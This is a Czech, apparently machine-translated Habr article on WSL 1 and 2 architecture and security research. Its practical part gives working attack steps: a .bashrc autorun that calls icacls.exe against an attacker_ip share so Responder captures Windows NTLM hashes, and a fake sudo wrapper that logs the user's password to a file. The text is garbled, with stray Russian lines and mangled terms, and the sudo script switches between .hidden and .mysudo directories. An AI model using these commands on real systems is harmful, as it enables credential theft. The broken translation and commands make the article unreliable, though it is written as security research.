Ahoj habr! OTUS spouští v říjnu nový stream kurzů
V roce 2016 společnost Microsoft představila komunitě IT novou technologii WSL (Wpropůjčuje Spodsystém pro Linux), což v budoucnu umožnilo sjednotit dříve nesmiřitelné konkurenty, kteří bojovali o oblibu mezi běžnými i pokročilými uživateli OS: Windows a Linux. Tato technologie umožnila používat nástroje operačního systému Linux v prostředí Windows bez nutnosti spouštět Linux, například pomocí Multi-bootu. Na Habr můžete najít velké množství článků popisujících výhody používání WSL. Bohužel však v době vzniku tohoto článku nebyly na tomto zdroji nalezeny žádné studie o bezpečnosti takové symbiózy operačních systémů. Tento příspěvek bude pokusem o nápravu. Článek bude hovořit o vlastnostech architektur WSL 1 a 2 a prozkoumá několik příkladů útoků na systémy využívající tyto technologie. Článek je rozdělen na 2 části. První poskytne hlavní teoretické metody útoku z Linuxu a Windows. Druhý článek bude zahrnovat nastavení testovacího prostředí a reprodukování útoků.
WSL 1: architektonické prvky
Pro co nejpřesnější ponor do bezpečnostních problémů WSL je nutné určit hlavní nuance spojené s implementací subsystému. Jedním z hlavních uživatelských úkolů řešených WSL je schopnost pracovat prostřednictvím linuxového terminálu na hostiteli s operačním systémem Windows. Nabízená kompatibilita byla také tak nativní, že spustitelné soubory Linuxu (ELF) bylo možné spouštět přímo na systému Windows. K dosažení těchto cílů byl ve Windows 10 vytvořen speciální subsystém, který umožňuje spouštět linuxové aplikace pomocí sady specifických systémových volání – byl tedy učiněn pokus mapovat sadu linuxových systémových volání na Windows. To bylo fyzicky implementováno přidáním nových ovladačů a nového formátu procesu. Vizuálně architektura vypadala takto:
Ve skutečnosti byla interakce s operačním systémem Linux organizována prostřednictvím několika modulů jádra a speciálního typu procesu - pico. Z výše uvedeného diagramu můžete vidět, že proces běžící na instanci Linuxu na hostiteli musí být nativní a musí využívat stejné prostředky jako běžné aplikace Windows. Ale jak toho dosáhnout? V projektu
Všimněte si, že navrhovaná abstrakce umožnila nezaměřovat se na operační systém (zejména Windows), ve kterém se očekává spuštění procesu jiného OS, a navrhla obecný přístup.
Jakákoli aplikace uvnitř procesu pico by tedy mohla běžet bez ohledu na jádro Windows:
- Problémy s kompatibilitou a překladem systémových volání musí řešit speciální poskytovatelé;
- Kontrola přístupu musí být provedena prostřednictvím Security Monitor. Monitor je umístěn v jádře a proto Windows potřeboval upgrade v podobě nového ovladače, který by mohl fungovat jako poskytovatel takových procesů. Prototyp piko procesu je schematicky znázorněn níže:
Vzhledem k tomu, že souborový systém Linux používá názvy souborů a adresářů s rozlišováním velkých a malých písmen, byly do Windows přidány 2 typy souborových systémů pro práci s WSL – VolFS a DriveFS. VolFS je implementace linuxového souborového systému, DriveFS je souborový systém, který funguje podle pravidel Windows, ale má možnost volit rozlišování malých a velkých písmen.
WSL 2
WSL 1 měl řadu omezení, která neumožňovala jeho použití k řešení maximálního rozsahu úloh: například neuměl spouštět 32bitové linuxové aplikace a nebylo možné používat ovladače zařízení. V roce 2020 proto vyšlo WSL 2, které změnilo přístup k budování subsystému. WSL 2 je optimalizovaný virtuální stroj, který odpovídá charakteristikám spotřeby zdrojů WSL 1. Nyní, v závislosti na problémech vyřešených uživatelem operačního systému Windows, můžete vybrat požadovanou verzi subsystému Linux. Pro zmírnění možných zranitelností byla implementována WSL 2 založená na Hyper-V ve Windows 10. V této podobě má Windows schopnost spouštět jádro operačního systému Linux v izolaci. Stojí za to připomenout, že verze 1 WSL byla představena jako beta funkce, která měla ukazovat směr vývoje Windows v této oblasti, takže přechod na Hyper-V byl nevyhnutelný. Finální architektura vypadá takto:
V této verzi mají jádra Windows a Linux své vlastní prostředky a průnik existuje pouze v souborovém systému, ale tento průnik není úplný. Interakce mezi systémy souborů se provádí prostřednictvím klient-server wrapper, který pracuje pomocí protokolu 9P.
Dnes Microsoft poskytuje možnost přepínat mezi WSL 1 a WSL 2. Obě verze jsou k dispozici k použití.
Zabezpečení WSL
V současné době existuje několik prací popisujících některé přístupy k použití legitimních nástrojů OS k útoku na komunikaci mezi subsystémy. Použijeme jejich skripty ke kontrole relevance útoků v době psaní. Obecný seznam útoků a scénářů:
1. Implementace souborového systému: přístupová práva, dostupnost sdílených adresářů/mechanismy výměny dat.
Byl proveden výzkum s cílem zjistit porušení pravidel přístupu z Linux FS->Windows FS, Windows FS->Linux FS. Výzkum prokázal schopnost upravit daný soubor v rámci cílového OS. Byly také učiněny pokusy nahradit, vytvořit duplikáty a odstranit část souborových systémů.
Scénář:
- A. Útok z operačního systému Windows - úprava souborů z adresáře /etc OS Linux.
- B. Útok z operačního systému Linux - úprava souborů v adresářích:
C:Windows
,C:Program Files
,C:Users<User>
2. Implementace síťového zásobníku.
Výzkum byl proveden na příkladech útoků z operačního systému Linux na Windows. Byly použity vlastnosti síťového zásobníku, jmenovitě autentizační mechanismy na různých zdrojích.
Scénář:
- Otevření přístupu k portu, který je obsazený v systému Windows
- Otevření portu bez příslušných práv
- Spuštění reverzního shellu pomocí souboru elf v operačním systému Windows.
3. Skrytí spouštění procesů škodlivého softwaru pomocí subsystému WSL.
Výzkum byl založen na prostém faktu – bezpečnostní subsystémy nemohou v případě WSL 1 zachytit události v jiném jádře, které funguje pomocí legitimního poskytovatele z operačního systému. V případě WSL 2 neexistuje žádný způsob, jak zobrazit události, ke kterým dojde v samostatném jádře v rámci lehkého virtuálního stroje.
Scénář:
1) Spusťte aplikaci pro vzdálený přístup do systému a prohlédněte si protokolované události.
Experimenty WSL 1: zachycení hash (Windows)
Nakonec jsme se dostali k praktické části. Nejprve je potřeba nastavit testovací prostředí. Všechny experimenty budou prováděny na pracovním stole s nainstalovaným Windows 10 2004. Jako obraz operačního systému pro WSL byl vybrán obraz Ubuntu 18.04. Obrázek byl vybrán náhodně a jakýkoli jiný bude fungovat stejně. Příkazy pro postavení stojanu:
Nejprve musíte spustit powershell.exe
jako správce.
Pro WSL 1 musíte spustit příkazy:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Po restartování stojanu můžete zavolat příkaz bash. Pokud vše fungovalo správně, uvidíte výstup podobný tomuto v konzole Windows:
Jako stroj útočníka použijeme distribuci Kali Linux, všechny stroje musí být ve stejné lokální síti.
Předpokládejme, že máme neprivilegovaný přístup k WSL na počítači se systémem Windows. Zkusme zaútočit na operační systém Linux voláním příkazu z Linuxu. K realizaci útoku použijeme jednoduchou techniku autorun – přidáme náš skript pro spuštění v prostředí Linuxu. Chcete-li to provést, musíte změnit soubor .bashrc
.
Na počítači s WSL provádíme:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Na počítači Kali Linux spouštíme:
1. Responder -I eth0 -rdvw
Na počítači se systémem Windows spusťte bash.
Čekáme na výsledek na stroji Kali Linux:
Získali jsme tedy hashe uživatele Windows prostřednictvím subsystému WSL provedením příkazu v systému Linux.
Experimenty WSL 1: získání uživatelského hesla (Linux OS)
Udělejme ještě jeden experiment. Při této kontrole přidáme do souboru .bashrc
několik příkazů za účelem získání hesla uživatele operačního systému Linux.
Spusťte bash a zadejte příkazy:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
K úspěšnému dokončení útoku musí uživatel Sam zavolat sudo v terminálu Linux. Poté bude v souboru heslo uživatele OS Linux pass.txt
:
Realizace útoků byla uvedena pouze pro teoretickou informaci.
V další části článku bude popsána implementace protokolu 9P, zvážení vytvoření skeneru pro tento protokol a také provedení útoku pomocí něj.
Seznam použité literatury
Přečtěte si více
Zdroj: www.habr.com